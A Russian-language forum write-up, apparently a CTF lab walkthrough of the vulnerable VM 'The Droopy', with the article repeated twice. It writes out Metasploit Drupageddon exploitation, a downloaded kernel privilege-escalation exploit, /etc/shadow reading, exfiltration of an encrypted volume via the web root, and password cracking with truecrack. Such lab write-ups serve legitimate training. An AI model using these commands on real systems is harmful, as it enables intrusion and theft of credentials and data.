Всем привет!
В этой статье, я пошагово опишу взлом в рамках CTF (Capture The Flag) Challenge, уязвимой системы под названием The Droopy. Это проникновение будет осуществить немного сложнее предыдущего ( https://codeby.net/threads/ctf-vzlom-mr-robot-vm.57930/#post-263816 ). Но в нем я покажу, как использовать (компилировать) эксплойты не включенные в Metasploit, скачивая их напрямую с сайта exploit-db.com. А так же покажу, как использовать полезную программу – VeraCrypt.
Итак, начнем.
Скачиваем систему отсюда - >
Импортируем ее в Oracle VM Virtual Box, затем запускаем. ОС, используемая для взлома -> Kali Linux Rolling.
Переходим в терминал Kali Linux и запускаем утилиту netdiscover, для определения IP нашей цели в сети.
Адрес целевой системы - 172.16.0.195. Теперь запускаем агрессивный тип сканирования с помощью команды:
> nmap –A 172.16.0.195
Результат сканирования показал, что есть открытый порт – 80. Используемая система - Drupal 7 версии, которая известна своими уязвимостями. Начнем использовать их, чтобы получить в итоге открытую сессию meterpreter.
Drupal — система управления содержимым (CMS), используемая также как каркас для веб-приложений (CMF), написанная на языке PHP и использующая в качестве хранилища данных реляционную базу данных (поддерживаются MySQL, PostgreSQL и другие). Drupal является свободным программным обеспечением, защищённым лицензией GPL, и развивается усилиями энтузиастов со всего мира.
Запускаем Metasploit Framework и вводим:
> search drupal
Перед нами список уязвимостей, которые мы сможем применить для атаки нашей цели. Мы будем использовать эксплоит под названием drupal_drupageddon.
Для этого последовательно вводим команды:
> use exploit/multi/http/drupal_drupageddon
> set RHOST 172.16.0.195 (IP целевого хоста)
> set RPORT 80
> exploit
В случае успешного срабатывания эксплойта получаем открытую сессию meterpreter. Идем дальше, пишем:
> shell
> echo “import pty; pty.spawn(‘ /bin/bash’)” > /tmp/asdf.py (Команда позволит создать в указанной папке скрипт, который даст нам доступ к pty)
> python /tmp/asdf.py
Выполненные команды позволили нам войти в терминал. Следующим шагом, узнаем версию операционной системы.
> lsb_release –a
Теперь мы знаем версию ОС, это Ubuntu 14.04. Давайте попробуем найти рабочий эксплоит для этой системы непосредственно на exploit-db.com.
Производим поиск на сайте по ключевым словам – ubuntu 14.04
По завершении поиска выбираем подходящий эксплоит:
Выбранный эксплоит не доступен в Metasploit Framework, поэтому пойдем иным путем, о котором я упоминал в начале статьи:
Теперь необходимо создать исполняемый файл, для загрузки в него эксплойта. Но прежде, находим директорию, в которую мы можем вносить изменения, вводим следующее:
> find / -writable -type d 2>/dev/null (Поиск подходящей директории)
Для наших целей подходит каталог /tmp.
> cd /tmp/ (Переходим в директорию /tmp)
> wget
В случае успеха получаем такой вывод:
Скачанный файл необходимо скомпилировать и запустить, таки путем мы получим root-доступ к системе. Чтобы сделать это, вводим команды, как показано ниже:
> mv 37292 37292.c (Перед началом компиляции переименуем файл)
> gcc 37292.c -o kernel (Эта команда скомпилирует указанный файл и сохранит его под именем kernel)
> chmod 777 kernel (Этой командой разрешим исполнение файла)
> ./kernel (Выполняем)
После совершения этих действий мы получаем доступ супер-пользователя в системе. Убедиться в этом можно с помощью команды:
> whoami (Покажет в качестве кого мы находимся в системе)
> cd /root (Перейдем в каталог /root)
> ls –a (Посмотрим его содержимое)
Для нас интерес представляет файл dave.tc. Так как это значит, что:
ТИП ФАЙЛА - TrueCrypt Disk Volume Format
СОЗДАТЕЛЬ - TrueCrypt
Если попробовать открыть его в браузере, то он предложить сохранить файл. Пробуем скачать его, так как у нас есть легкий доступ ко всем каталогам, то просто скопируем dave.tc в каталог var/www/html, а затем обратившись по адресу 172.16.0.ХХХ/dave.tc, сохраним его себе на компьютер.
> cp dave.tc /var/www/html
Давайте откроем файл с помощью VeraCrypt. Для справки, VeraCrypt — это программа для шифрования на-лету, которая основана на коде TrueCrypt. VeraCrypt умеет шифровать разделы целые диски, и может использоваться аутентификация перед загрузкой диска, который полностью зашифрован. По словам разработчика решены некоторые проблемы безопасности, которые присутствовали в TrueCrypt. В VeraCrypt используется XTS режим работы. Подробнее можно узнать из этой инструкции - https://codeby.net/blogs/instrukcija-po-ispolzovaniju-veracrypt/
Скачиваем и устанавливаем VeraCrypt из официального источника –>
Запускаем программу и выбираем 1 слот для монтирования. Указываем путь к нашему файлу, жмем Mount.
При попытке открыть файл, он попросит пароль, которого у нас нет, но мы попробуем отыскать его.
Для начала заглянем в файл, который содержит все хэши паролей. В нашей системе это /etc/shadow. Подробнее о нем в этой статье - > https://codeby.net/blogs/zashhita-s-pomoshhju-parolja-v-linux-fajl-etcshadow/
> cat /etc/shadow
Теперь у нас есть хэш пароля root, необходимо определить, какой тип хэша использовался. В этом поможет сервис -
Копируем, вставляем его в форму, получаем возможный тип хэша:
В данном случае это SHA512, но к нему мы вернемся чуть позже. Во время предыдущих исследований, мы ко всему прочему находили и почту, она хранится в /var/mail/www-data. Прочтем ее:
> cat /var/mail/www-data
После прочтения почты становится ясно наверняка, что:
· Пароль состоит из 11 символов
· Пароль как-то связан с академией
Чтобы найти его, нужно отфильтровать словарь rockyou.txt. Я рекомендую это сделать, так как, он содержит более 10 млн. строк. Если запустить перебор не фильтруя, это может занять очень много времени. Ниже представлена команда, которая отфильтрует словарь по указанным критериям:
> awk ‘length($1) == 11 { print $1 }’ /usr/share/wordlists/rockyou.txt |egrep ‘^[[:lower:]]+academy’ > /root/Desktop/pazzz.txt
Для справки:
AWK — интерпретируемый скриптовый C-подобный язык построчного разбора и обработки входного потока (например, текстового файла) по заданным шаблонам (регулярным выражениям). Используется в bash (SH) скриптах.
Теперь, когда получен отфильтрованный файл словаря, вводим команду:
> truecrack –truecrypt /root/Download/dave.tc -k SHA512 -w /root/Desktop/pazzzz.txt
С помощью этой команды пароль обнаруживается за считанные секунды. Теперь можем опять запускать VeraCrypt и использовать полученные данные.
Когда монтирование заканчивается, заходим в раздел, и по пути, указанному на скриншоте находим текстовый файл flag.txt. Запускаем:
Флаг получен и на этом взлом системы The Droopy заканчивается.
Спасибо за внимание.
В этой статье, я пошагово опишу взлом в рамках CTF (Capture The Flag) Challenge, уязвимой системы под названием The Droopy. Это проникновение будет осуществить немного сложнее предыдущего ( https://codeby.net/threads/ctf-vzlom-mr-robot-vm.57930/#post-263816 ). Но в нем я покажу, как использовать (компилировать) эксплойты не включенные в Metasploit, скачивая их напрямую с сайта exploit-db.com. А так же покажу, как использовать полезную программу – VeraCrypt.
Итак, начнем.
Скачиваем систему отсюда - >
Ссылка скрыта от гостей
Импортируем ее в Oracle VM Virtual Box, затем запускаем. ОС, используемая для взлома -> Kali Linux Rolling.
Переходим в терминал Kali Linux и запускаем утилиту netdiscover, для определения IP нашей цели в сети.
Адрес целевой системы - 172.16.0.195. Теперь запускаем агрессивный тип сканирования с помощью команды:
> nmap –A 172.16.0.195
Результат сканирования показал, что есть открытый порт – 80. Используемая система - Drupal 7 версии, которая известна своими уязвимостями. Начнем использовать их, чтобы получить в итоге открытую сессию meterpreter.
Drupal — система управления содержимым (CMS), используемая также как каркас для веб-приложений (CMF), написанная на языке PHP и использующая в качестве хранилища данных реляционную базу данных (поддерживаются MySQL, PostgreSQL и другие). Drupal является свободным программным обеспечением, защищённым лицензией GPL, и развивается усилиями энтузиастов со всего мира.
Запускаем Metasploit Framework и вводим:
> search drupal
Перед нами список уязвимостей, которые мы сможем применить для атаки нашей цели. Мы будем использовать эксплоит под названием drupal_drupageddon.
Для этого последовательно вводим команды:
> use exploit/multi/http/drupal_drupageddon
> set RHOST 172.16.0.195 (IP целевого хоста)
> set RPORT 80
> exploit
В случае успешного срабатывания эксплойта получаем открытую сессию meterpreter. Идем дальше, пишем:
> shell
> echo “import pty; pty.spawn(‘ /bin/bash’)” > /tmp/asdf.py (Команда позволит создать в указанной папке скрипт, который даст нам доступ к pty)
> python /tmp/asdf.py
Выполненные команды позволили нам войти в терминал. Следующим шагом, узнаем версию операционной системы.
> lsb_release –a
Теперь мы знаем версию ОС, это Ubuntu 14.04. Давайте попробуем найти рабочий эксплоит для этой системы непосредственно на exploit-db.com.
Производим поиск на сайте по ключевым словам – ubuntu 14.04
По завершении поиска выбираем подходящий эксплоит:
Выбранный эксплоит не доступен в Metasploit Framework, поэтому пойдем иным путем, о котором я упоминал в начале статьи:
Теперь необходимо создать исполняемый файл, для загрузки в него эксплойта. Но прежде, находим директорию, в которую мы можем вносить изменения, вводим следующее:
> find / -writable -type d 2>/dev/null (Поиск подходящей директории)
Для наших целей подходит каталог /tmp.
> cd /tmp/ (Переходим в директорию /tmp)
> wget
Ссылка скрыта от гостей
(Этой командой загружаем эксплоит)В случае успеха получаем такой вывод:
Скачанный файл необходимо скомпилировать и запустить, таки путем мы получим root-доступ к системе. Чтобы сделать это, вводим команды, как показано ниже:
> mv 37292 37292.c (Перед началом компиляции переименуем файл)
> gcc 37292.c -o kernel (Эта команда скомпилирует указанный файл и сохранит его под именем kernel)
> chmod 777 kernel (Этой командой разрешим исполнение файла)
> ./kernel (Выполняем)
После совершения этих действий мы получаем доступ супер-пользователя в системе. Убедиться в этом можно с помощью команды:
> whoami (Покажет в качестве кого мы находимся в системе)
> cd /root (Перейдем в каталог /root)
> ls –a (Посмотрим его содержимое)
Для нас интерес представляет файл dave.tc. Так как это значит, что:
ТИП ФАЙЛА - TrueCrypt Disk Volume Format
СОЗДАТЕЛЬ - TrueCrypt
Если попробовать открыть его в браузере, то он предложить сохранить файл. Пробуем скачать его, так как у нас есть легкий доступ ко всем каталогам, то просто скопируем dave.tc в каталог var/www/html, а затем обратившись по адресу 172.16.0.ХХХ/dave.tc, сохраним его себе на компьютер.
> cp dave.tc /var/www/html
Давайте откроем файл с помощью VeraCrypt. Для справки, VeraCrypt — это программа для шифрования на-лету, которая основана на коде TrueCrypt. VeraCrypt умеет шифровать разделы целые диски, и может использоваться аутентификация перед загрузкой диска, который полностью зашифрован. По словам разработчика решены некоторые проблемы безопасности, которые присутствовали в TrueCrypt. В VeraCrypt используется XTS режим работы. Подробнее можно узнать из этой инструкции - https://codeby.net/blogs/instrukcija-po-ispolzovaniju-veracrypt/
Скачиваем и устанавливаем VeraCrypt из официального источника –>
Ссылка скрыта от гостей
Запускаем программу и выбираем 1 слот для монтирования. Указываем путь к нашему файлу, жмем Mount.
При попытке открыть файл, он попросит пароль, которого у нас нет, но мы попробуем отыскать его.
Для начала заглянем в файл, который содержит все хэши паролей. В нашей системе это /etc/shadow. Подробнее о нем в этой статье - > https://codeby.net/blogs/zashhita-s-pomoshhju-parolja-v-linux-fajl-etcshadow/
> cat /etc/shadow
Теперь у нас есть хэш пароля root, необходимо определить, какой тип хэша использовался. В этом поможет сервис -
Ссылка скрыта от гостей
Копируем, вставляем его в форму, получаем возможный тип хэша:
В данном случае это SHA512, но к нему мы вернемся чуть позже. Во время предыдущих исследований, мы ко всему прочему находили и почту, она хранится в /var/mail/www-data. Прочтем ее:
> cat /var/mail/www-data
После прочтения почты становится ясно наверняка, что:
· Пароль состоит из 11 символов
· Пароль как-то связан с академией
Чтобы найти его, нужно отфильтровать словарь rockyou.txt. Я рекомендую это сделать, так как, он содержит более 10 млн. строк. Если запустить перебор не фильтруя, это может занять очень много времени. Ниже представлена команда, которая отфильтрует словарь по указанным критериям:
> awk ‘length($1) == 11 { print $1 }’ /usr/share/wordlists/rockyou.txt |egrep ‘^[[:lower:]]+academy’ > /root/Desktop/pazzz.txt
Для справки:
AWK — интерпретируемый скриптовый C-подобный язык построчного разбора и обработки входного потока (например, текстового файла) по заданным шаблонам (регулярным выражениям). Используется в bash (SH) скриптах.
Теперь, когда получен отфильтрованный файл словаря, вводим команду:
> truecrack –truecrypt /root/Download/dave.tc -k SHA512 -w /root/Desktop/pazzzz.txt
С помощью этой команды пароль обнаруживается за считанные секунды. Теперь можем опять запускать VeraCrypt и использовать полученные данные.
Когда монтирование заканчивается, заходим в раздел, и по пути, указанному на скриншоте находим текстовый файл flag.txt. Запускаем:
Флаг получен и на этом взлом системы The Droopy заканчивается.
Спасибо за внимание.